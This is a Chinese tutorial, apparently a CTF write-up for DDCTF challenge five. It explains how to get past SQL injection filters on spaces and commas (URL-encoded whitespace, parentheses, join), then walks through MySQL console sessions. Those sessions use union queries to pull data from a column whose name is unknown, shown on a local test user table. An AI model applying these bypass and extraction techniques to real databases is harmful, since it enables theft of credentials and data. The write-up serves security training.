本文主要給大家介紹了mysql如何巧妙的繞過未知字段名的相關(guān)資料，文中給出了詳細的示例代碼供大家參考學(xué)習(xí)，對學(xué)習(xí)mysql具有一定的參考學(xué)習(xí)價值，需要的朋友們下面來一起看看吧，希望能幫助到大家。
前言
本文介紹的是DDCTF第五題，繞過未知字段名的技巧，這里拿本機來操作了下，思路很棒也很清晰，分享給大家，下面來看看詳細的介紹：
實現(xiàn)思路
題目過濾空格和逗號，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括號都可以繞過，逗號使用join繞過；
存放flag的字段名未知，information_schema.columns也將表名的hex過濾了，即獲取不到字段名；這時可以利用聯(lián)合查詢，過程如下：
思想就是獲取flag，讓其在已知字段名下出現(xiàn)；
示例代碼：
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
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